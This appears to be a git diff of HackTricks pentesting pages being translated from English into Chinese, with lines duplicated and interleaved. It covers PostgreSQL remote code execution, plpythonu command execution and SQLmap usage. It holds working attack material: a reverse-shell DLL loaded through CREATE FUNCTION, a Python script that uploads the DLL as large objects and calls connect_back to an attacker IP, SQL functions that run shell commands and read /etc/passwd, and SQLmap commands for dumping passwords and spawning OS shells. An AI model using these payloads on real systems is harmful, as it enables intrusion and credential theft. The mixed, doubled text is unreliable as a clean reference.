startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);
return TRUE;
return TRUE;
}
#pragma warning(pop) /* re-enable 4996 */
@ -264,91 +245,83 @@ PG_FUNCTION_INFO_V1(add_one);
Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);
int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
PG_RETURN_INT32(arg + 1);
}
```
Note how in this case the **malicious code is inside the DllMain function**. This means that in this case it isn't necessary to execute the loaded function in postgresql, just **loading the DLL** will **execute** the reverse shell:
注意在这种情况下,**恶意代码位于 DllMain 函数内部**。这意味着在这种情况下,不需要在 postgresql 中执行加载的函数,只需**加载 DLL** 就会**执行**反向 shell
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
[PolyUDF项目](https://github.com/rop-la/PolyUDF)也是一个很好的起点包含完整的MS Visual Studio项目和一个现成的库包括_command eval__exec_和_cleanup_以及多版本支持。
The [PolyUDF project](https://github.com/rop-la/PolyUDF) is also a good starting point with the full MS Visual Studio project and a ready to use library (including: _command eval_, _exec_ and _cleanup_) with multiversion support.
### 最新PostgreSQL版本中的RCE
### RCE in newest Prostgres versions
在**最新版本**的PostgreSQL中施加了限制`superuser`被**禁止**从特定目录以外**加载**共享库文件例如Windows上的`C:\Program Files\PostgreSQL\11\lib`或\*nix系统上的`/var/lib/postgresql/11/lib`。这些目录对NETWORK_SERVICE或postgres账户的写操作是**安全的**。
In the **latest versions** of PostgreSQL, restrictions have been imposed where the `superuser` is **prohibited** from **loading** shared library files except from specific directories, such as `C:\Program Files\PostgreSQL\11\lib` on Windows or `/var/lib/postgresql/11/lib` on \*nix systems. These directories are **secured** against write operations by either the NETWORK_SERVICE or postgres accounts.
尽管有这些限制,经过身份验证的数据库`superuser`仍然可以使用“大型对象”**写入二进制文件**到文件系统。此功能扩展到在`C:\Program Files\PostgreSQL\11\data`目录中写入,这对于更新或创建表等数据库操作至关重要。
Despite these restrictions, it's possible for an authenticated database `superuser` to **write binary files** to the filesystem using "large objects." This capability extends to writing within the `C:\Program Files\PostgreSQL\11\data` directory, which is essential for database operations like updating or creating tables.
一个显著的漏洞来自于`CREATE FUNCTION`命令,它**允许目录遍历**到数据目录。因此,经过身份验证的攻击者可以**利用这种遍历**将共享库文件写入数据目录,然后**加载它**。此漏洞使攻击者能够执行任意代码,实现系统上的本地代码执行。
A significant vulnerability arises from the `CREATE FUNCTION` command, which **permits directory traversal** into the data directory. Consequently, an authenticated attacker could **exploit this traversal** to write a shared library file into the data directory and then **load it**. This exploit enables the attacker to execute arbitrary code, achieving native code execution on the system.
#### 攻击流程
#### Attack flow
First of all you need to **use large objects to upload the dll**. You can see how to do that here:
首先,您需要**使用大型对象上传dll**。您可以在这里查看如何做到这一点:
{{#ref}}
big-binary-files-upload-postgresql.md
{{#endref}}
Once you have uploaded the extension (with the name of poc.dll for this example) to the data directory you can load it with:
一旦您将扩展在此示例中名为poc.dll上传到数据目录您可以使用以下命令加载它
```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_请注意您不需要附加 `.dll` 扩展名因为创建函数会自动添加它。_
_Note that you don't need to append the `.dll` extension as the create function will add it._
For more information **read the**[ **original publication here**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\
In the same page this **exploit to automate** this technique was given:
有关更多信息,请**阅读**[**原始出版物**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。**\
在该出版物中,**这是**[**用于生成 postgres 扩展的代码**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_要了解如何编译 postgres 扩展请阅读之前的任何版本_).\
在同一页面上,**提供了自动化**此技术的**利用**
```python
#!/usr/bin/env python3
import sys
if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
```
## References
## 参考文献
- [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
- [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,36 +4,34 @@
## PostgreSQL Languages
The PostgreSQL database you got access to may have different **scripting languages installed** that you could abuse to **execute arbitrary code**.
You can **get them running**:
您获得访问权限的 PostgreSQL 数据库可能安装了不同的 **脚本语言**,您可以利用这些语言来 **执行任意代码**
您可以 **让它们运行**
```sql
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
Most of the scripting languages you can install in PostgreSQL have **2 flavours**: the **trusted** and the **untrusted**. The **untrusted** will have a name **ended in "u"** and will be the version that will allow you to **execute code** and use other interesting functions. This are languages that if installed are interesting:
大多数可以在 PostgreSQL 中安装的脚本语言有 **2 种类型****受信任的**和**不受信任的**。**不受信任的**语言名称**以 "u" 结尾**,并且是允许你**执行代码**和使用其他有趣功能的版本。如果安装了这些语言,它们会很有趣:
- **plpythonu**
- **plpython3u**
- **plperlu**
- **pljavaU**
- **plrubyu**
- ... (any other programming language using an insecure version)
- ...(任何其他使用不安全版本的编程语言)
> [!WARNING]
> If you find that an interesting language is **installed** but **untrusted** by PostgreSQL (**`lanpltrusted`** is **`false`**) you can try to **trust it** with the following line so no restrictions will be applied by PostgreSQL:
> 如果你发现一个有趣的语言是**已安装**但被 PostgreSQL **标记为不受信任****`lanpltrusted`** 为 **`false`**),你可以尝试用以下语句**信任它**,这样 PostgreSQL 就不会施加任何限制:
>
> ```sql
> UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
> # To check your permissions over the table pg_language
> # 检查你对表 pg_language 的权限
> SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
> ```
> [!CAUTION]
> If you don't see a language, you could try to load it with (**you need to be superadmin**):
> 如果你没有看到某种语言,你可以尝试加载它(**你需要是超级管理员**
>
> ```
> CREATE EXTENSION plpythonu;
@ -43,248 +41,229 @@ Most of the scripting languages you can install in PostgreSQL have **2 flavours*
> CREATE EXTENSION plrubyu;
> ```
Note that it's possible to compile the secure versions as "unsecure". Check [**this**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) for example. So it's always worth trying if you can execute code even if you only find installed the **trusted** one.
请注意,可以将安全版本编译为“不安全”。例如,查看 [**this**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)。因此,如果你只发现安装了**受信任的**版本,尝试执行代码总是值得的。
## plpythonu/plpython3u
{{#tabs}}
{{#tab name="RCE"}}
```sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
```
{{#endtab}}
{{#tab name="Get OS user"}}
{{#tab name="获取操作系统用户"}}
```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';
SELECT get_user(""); #Get user, para is useless
```
{{#endtab}}
{{#tab name="List dir"}}
```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';
SELECT lsdir("/"); #List dir
```
{{#endtab}}
{{#tab name="Find W folder"}}
{{#tab name="查找 W 文件夹"}}
```sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables
return ", ".join(my_find(dir))
return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';
SELECT findw("/"); #Find Writable folders from a folder (recursively)
```
{{#endtab}}
{{#tab name="Find File"}}
{{#tab name="查找文件"}}
```sql
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
a = my_find("/")
b = []
for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_file("psql"); #Find a file
```
{{#endtab}}
{{#tab name="Find executables"}}
{{#tab name="查找可执行文件"}}
```sql
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find(dir)
b = []
a = my_find(dir)
b = []
for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT findx("/"); #Find an executables in folder (recursively)
```
{{#endtab}}
{{#tab name="Find exec by subs"}}
{{#tab name="通过子字符串查找 exec"}}
```sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
a = my_find("/")
b = []
for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_exe("psql"); #Find executable by susbstring
```
{{#endtab}}
{{#tab name="Read"}}
{{#tab name="阅读"}}
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';
select read('/etc/passwd'); #Read a file in b64
```
{{#endtab}}
{{#tab name="Get perms"}}
{{#tab name="获取权限"}}
```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';
select get_perms("/etc/passwd"); # Get perms of file
```
{{#endtab}}
{{#tab name="Request"}}
```sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
@ -293,21 +272,20 @@ SELECT req2('https://google.com'); #Request using python2
CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req3('https://google.com'); #Request using python3
```
{{#endtab}}
{{#endtabs}}
## pgSQL
Check the following page:
查看以下页面:
{{#ref}}
pl-pgsql-password-bruteforce.md
@ -315,11 +293,10 @@ pl-pgsql-password-bruteforce.md
## C
Check the following page:
查看以下页面:
{{#ref}}
rce-with-postgresql-extensions.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,8 @@
{{#include ../../banners/hacktricks-training.md}}
# Basic arguments for SQLmap
## Generic
# SQLmap的基本参数
## 通用
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
@ -20,11 +19,9 @@
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
## 获取信息
## Retrieve Information
### Internal
### 内部
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
@ -32,9 +29,7 @@
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
### DB data
### 数据库数据
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -43,32 +38,24 @@
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
# 注入位置
# Injection place
## From Burp/ZAP capture
Capture the request and create a req.txt file
## 来自 Burp/ZAP 捕获
捕获请求并创建一个 req.txt 文件
```bash
sqlmap -r req.txt --current-user
```
## GET Request Injection
## GET 请求注入
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
## POST Request Injection
## POST 请求注入
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
## Injections in Headers and other HTTP Methods
## 在头部和其他HTTP方法中的注入
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -82,16 +69,12 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
## Second order injection
## 二次注入
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
## Shell
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -102,9 +85,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## Crawl a website with SQLmap and auto-exploit
## 使用SQLmap爬取网站并自动利用
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -112,83 +93,73 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
# 自定义注入
# Customizing Injection
## Set a suffix
## 设置后缀
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
## Prefix
## 前言
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
## Help finding boolean injection
## 帮助寻找布尔注入
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
## Tamper
## 修改
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Description |
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart |
| apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart |
| appendnullbyte.py | Appends encoded NULL byte character at the end of payload |
| base64encode.py | Base64 all characters in a given payload |
| between.py | Replaces greater than operator \('&gt;'\) with 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator |
| chardoubleencode.py | Double url-encodes all characters in a given payload \(not processing already encoded\) |
| commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' |
| commalessmid.py | Replaces instances like 'MID\(A, B, C\)' with 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Replaces instances like 'CONCAT\(A, B\)' with 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Url-encodes all characters in a given payload \(not processing already encoded\) |
| charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload \(not processing already encoded\). "%u0022" |
| charunicodeescape.py | Unicode-url-encodes non-encoded characters in a given payload \(not processing already encoded\). "\u0022" |
| equaltolike.py | Replaces all occurances of operator equal \('='\) with operator 'LIKE' |
| escapequotes.py | Slash escape quotes \(' and "\) |
| greatest.py | Replaces greater than operator \('&gt;'\) with 'GREATEST' counterpart |
| halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
| ifnull2ifisnull.py | Replaces instances like 'IFNULL\(A, B\)' with 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Embraces complete query with versioned comment |
| modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
| multiplespaces.py | Adds multiple spaces around SQL keywords |
| nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement \(e.g. .replace\("SELECT", ""\)\) filters |
| percentage.py | Adds a percentage sign \('%'\) infront of each character |
| overlongutf8.py | Converts all characters in a given payload \(not processing already encoded\) |
| randomcase.py | Replaces each keyword character with random case value |
| randomcomments.py | Add random comments to SQL keywords |
| securesphere.py | Appends special crafted string |
| sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs |
| space2comment.py | Replaces space character \(' '\) with comments |
| space2dash.py | Replaces space character \(' '\) with a dash comment \('--'\) followed by a random string and a new line \('\n'\) |
| space2hash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a random string and a new line \('\n'\) |
| space2morehash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a random string and a new line \('\n'\) |
| space2mssqlblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters |
| space2mssqlhash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a new line \('\n'\) |
| space2mysqlblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters |
| space2mysqldash.py | Replaces space character \(' '\) with a dash comment \('--'\) followed by a new line \('\n'\) |
| space2plus.py | Replaces space character \(' '\) with plus \('+'\) |
| space2randomblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters |
| symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts \(&& and |
| unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT |
| unmagicquotes.py | Replaces quote character \('\) with a multi-byte combo %bf%27 together with generic comment at the end \(to make it work\) |
| uppercase.py | Replaces each keyword character with upper case value 'INSERT' |
| varnish.py | Append a HTTP header 'X-originating-IP' |
| versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
| versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
| xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' |
| apostrophemask.py | 用其 UTF-8 全宽对应字符替换撇号字符 |
| apostrophenullencode.py | 用其非法双重 Unicode 对应字符替换撇号字符 |
| appendnullbyte.py | 在有效负载末尾附加编码的 NULL 字节字符 |
| base64encode.py | 对给定有效负载中的所有字符进行 Base64 编码 |
| between.py | 用 'NOT BETWEEN 0 AND #' 替换大于运算符 \('&gt;'\) |
| bluecoat.py | 用有效的随机空白字符替换 SQL 语句后的空格字符。然后用 LIKE 运算符替换字符 = |
| chardoubleencode.py | 对给定有效负载中的所有字符进行双重 URL 编码(不处理已编码的字符) |
| commalesslimit.py | 用 'LIMIT N OFFSET M' 替换 'LIMIT M, N' 的实例 |
| commalessmid.py | 用 'MID\(A FROM B FOR C\)' 替换 'MID\(A, B, C\)' 的实例 |
| concat2concatws.py | 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' 替换 'CONCAT\(A, B\)' 的实例 |
| charencode.py | 对给定有效负载中的所有字符进行 URL 编码(不处理已编码的字符) |
| charunicodeencode.py | 对给定有效负载中未编码的字符进行 Unicode URL 编码(不处理已编码的字符)。 "%u0022" |
| charunicodeescape.py | 对给定有效负载中未编码的字符进行 Unicode URL 编码(不处理已编码的字符)。 "\u0022" |
| equaltolike.py | 用运算符 'LIKE' 替换运算符等于 \('='\) 的所有出现 |
| escapequotes.py | 斜杠转义引号 \(' 和 "\) |
| greatest.py | 用 'GREATEST' 对应字符替换大于运算符 \('&gt;'\) |
| halfversionedmorekeywords.py | 在每个关键字前添加版本化的 MySQL 注释 |
| ifnull2ifisnull.py | 用 'IF\(ISNULL\(A\), B, A\)' 替换 'IFNULL\(A, B\)' 的实例 |
| modsecurityversioned.py | 用版本化注释包裹完整查询 |
| modsecurityzeroversioned.py | 用零版本化注释包裹完整查询 |
| multiplespaces.py | 在 SQL 关键字周围添加多个空格 |
| nonrecursivereplacement.py | 用适合替换的表示法替换预定义的 SQL 关键字(例如 .replace\("SELECT", ""\) 过滤器) |
| percentage.py | 在每个字符前添加百分号 \('%'\) |
| overlongutf8.py | 转换给定有效负载中的所有字符(不处理已编码的字符) |
| randomcase.py | 用随机大小写值替换每个关键字字符 |
| randomcomments.py | 向 SQL 关键字添加随机注释 |
| securesphere.py | 附加特殊构造的字符串 |
| sp_password.py | 在有效负载末尾附加 'sp_password' 以自动混淆 DBMS 日志 |
| space2comment.py | 用注释替换空格字符 \(' '\) |
| space2dash.py | 用一个破折号注释 \('--'\) 替换空格字符 \(' '\),后跟一个随机字符串和换行符 \('\n'\) |
| space2hash.py | 用一个井号字符 \('\#'\) 替换空格字符 \(' '\),后跟一个随机字符串和换行符 \('\n'\) |
| space2morehash.py | 用一个井号字符 \('\#'\) 替换空格字符 \(' '\),后跟一个随机字符串和换行符 \('\n'\) |
| space2mssqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 \(' '\) |
| space2mssqlhash.py | 用一个井号字符 \('\#'\) 替换空格字符 \(' '\),后跟一个换行符 \('\n'\) |
| space2mysqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 \(' '\) |
| space2mysqldash.py | 用一个破折号注释 \('--'\) 替换空格字符 \(' '\),后跟一个换行符 \('\n'\) |
| space2plus.py | 用加号 \('+'\) 替换空格字符 \(' '\) |
| space2randomblank.py | 用有效替代字符集中的随机空白字符替换空格字符 \(' '\) |
| symboliclogical.py | 用其符号对应物替换 AND 和 OR 逻辑运算符 \(&& |
| unionalltounion.py | 用 UNION SELECT 替换 UNION ALL SELECT |
| unmagicquotes.py | 用多字节组合 %bf%27 替换引号字符 \('\),并在末尾添加通用注释(以使其工作) |
| uppercase.py | 用大写值 'INSERT' 替换每个关键字字符 |
| varnish.py | 附加 HTTP 头 'X-originating-IP' |
| versionedkeywords.py | 用版本化的 MySQL 注释包裹每个非函数关键字 |
| versionedmorekeywords.py | 用版本化的 MySQL 注释包裹每个关键字 |
| xforwardedfor.py | 附加一个假 HTTP 头 'X-Forwarded-For' |
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,16 +4,15 @@
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**从黑客的角度审视您的网络应用、网络和云**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化漏洞利用收集重要证据将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic arguments for SQLmap
### Generic
## SQLmap的基本参数
### 通用
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
@ -31,11 +30,9 @@
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
```
### 获取信息
### Retrieve Information
#### Internal
#### 内部
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
@ -44,9 +41,7 @@
--passwords #Get passwords of users in DB
--privileges #Get privileges
```
#### DB data
#### 数据库数据
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -55,34 +50,26 @@
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
使用 [SQLMapping](https://taurusomar.github.io/sqlmapping/) 是一个实用工具,可以生成命令并提供 SQLMap 的完整概述,包括基本和高级功能。它包括工具提示,解释工具的每个方面,详细说明每个选项,以便您可以提高并理解如何有效和高效地使用它。
Using [SQLMapping](https://taurusomar.github.io/sqlmapping/) it is a practical tool that generates commands and provides a complete overview, both basic and advanced, for SQLMap. It includes ToolTips that explain each aspect of the tool, detailing every option so that you can improve and understand how to use it efficiently and effectively
## 注入位置
## Injection place
### From Burp/ZAP capture
Capture the request and create a req.txt file
### 从 Burp/ZAP 捕获
捕获请求并创建 req.txt 文件
```bash
sqlmap -r req.txt --current-user
```
### GET Request Injection
### GET 请求注入
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
### POST Request Injection
### POST 请求注入
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
### Injections in Headers and other HTTP Methods
### 在头部和其他HTTP方法中的注入
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -96,23 +83,17 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
### Indicate string when injection is successful
### 当注入成功时指示字符串
```bash
--string="string_showed_when_TRUE"
```
### Eval
**Sqlmap** allows the use of `-e` or `--eval` to process each payload before sending it with some python oneliner. This makes very easy and fast to process in custom ways the payload before sending it. In the following example the **flask cookie session** **is signed by flask with the known secret before sending it**:
**Sqlmap** 允许使用 `-e``--eval` 在发送之前处理每个有效负载,使用一些 python 单行代码。这使得在发送之前以自定义方式处理有效负载变得非常简单和快速。在以下示例中,**flask cookie session** **在发送之前由 flask 使用已知的密钥进行签名**
```bash
